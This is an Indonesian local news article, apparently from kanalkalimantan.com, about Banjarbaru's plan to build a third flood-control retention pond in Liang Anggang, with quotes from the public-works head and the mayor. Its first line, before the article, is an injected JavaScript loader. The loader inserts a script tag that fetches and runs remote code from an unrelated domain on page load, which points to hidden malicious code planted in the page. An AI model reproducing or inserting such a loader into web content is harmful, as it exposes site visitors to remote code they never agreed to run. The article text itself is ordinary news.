(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Masih ingat dengan kejadian banjir besar di kota Banjarbaru pada tahun 2014 silam. Saat Banjarbaru disebut berkontur dataran tinggi dan mustahil terendam ternyata malah dikepung banjir.
Meskipun Banjarbaru terhitung dataran tinggi, ada cekungan-cekungan yang rawan menjadi sasaran air ketika Sungai Kemuning meluap. Atau saat limpasan curah hujan berintensitas tinggi tak lagi tertahankan.
Melihat kondisi itu, Pemkot Banjarbaru sudah membangun dua embung atau wilayah tangkapan air yakni embung di Kelurahan Cempaka dan Kelurahan Loktabat Selatan.
Nah, pada tahun 2018 ini, Pemkot Banjarbaru berencana menambah kawasan tangkapan air atau embung baru di wilayah Liang Anggang.
Kepala Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Banjarbaru Ir Jaya Khresna mengatakan, tambahan embung rencananya dibangun di Kecamatan Liang Anggang, saat ini sudah dilakukan pembebasan lahan.
“Luas lahan yang kami sudah bebaskan sekitar 4 hektare, jadi sekarang tinggal pelaksanaan pembangunan,†katanya.
Dia mengungkapkan, untuk proses pembangunan Dinas PUPR Banjarbaru sedang melaksanakan tahapan persiapan lelang.
“Yang jelas tahun ini proses pembangunannya, dengan begitu akan ada tiga embung di wilayah Banjarbaru,†ungkapnya.
Sebelumnya, Walikota Banjarbaru Nadjmi Adhani menuturkan, embung dibangun untuk mengantisipasi dua kondisi, pertama, sebagai pengganti daerah resapan air yang hilang. Akibat pesatnya pembangunan ruko dan perumahan baru. Kedua, sebagai stok air baku saat musim kemarau panjang.
“Embung juga bisa menjadi ruang terbuka hijau, jika di sekelilingnya kita lakukan penghijauan,†ujarnya.
Seperti Embung Sidodadi di Kelurahan Loktabat Selatan, saat ini menjadi salah satu tempat wisata di Kota Idaman. Sebab, setiap sore ramai dikunjungi masyarakat. Baik yang ingin memancing, berenang, atau sekadar duduk santai menikmati panganan khas kaki lima.
Embung Landasan Ulin, di RT 12 RW 03 Kelurahan Guntung Payung, Kecamatan Landasan Ulin juga diharapkan mampu menampung debit limpasan air hujan akibat dari perkembangan pembangunan Kota Banjarbaru yang semakin pesat ditumbuhi kawasan pemukiman, perkantoran dan pertokoan serta adanya perluasan areal Bandara Syamsuddin Noor. Tahun 2016 dan 2017, sambung Walikota Banjarbaru, dilaksanakan pembangunan Embung Landasan Ulin dengan total luas 5 hektare.
Sehingga ketika hujan dengan intensitas tinggi buangan air tidak langsung menggenangi sungai-sungai yang ada di sekitarnya tertampung di embung.(devi)
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More
KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More
KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More
This website uses cookies.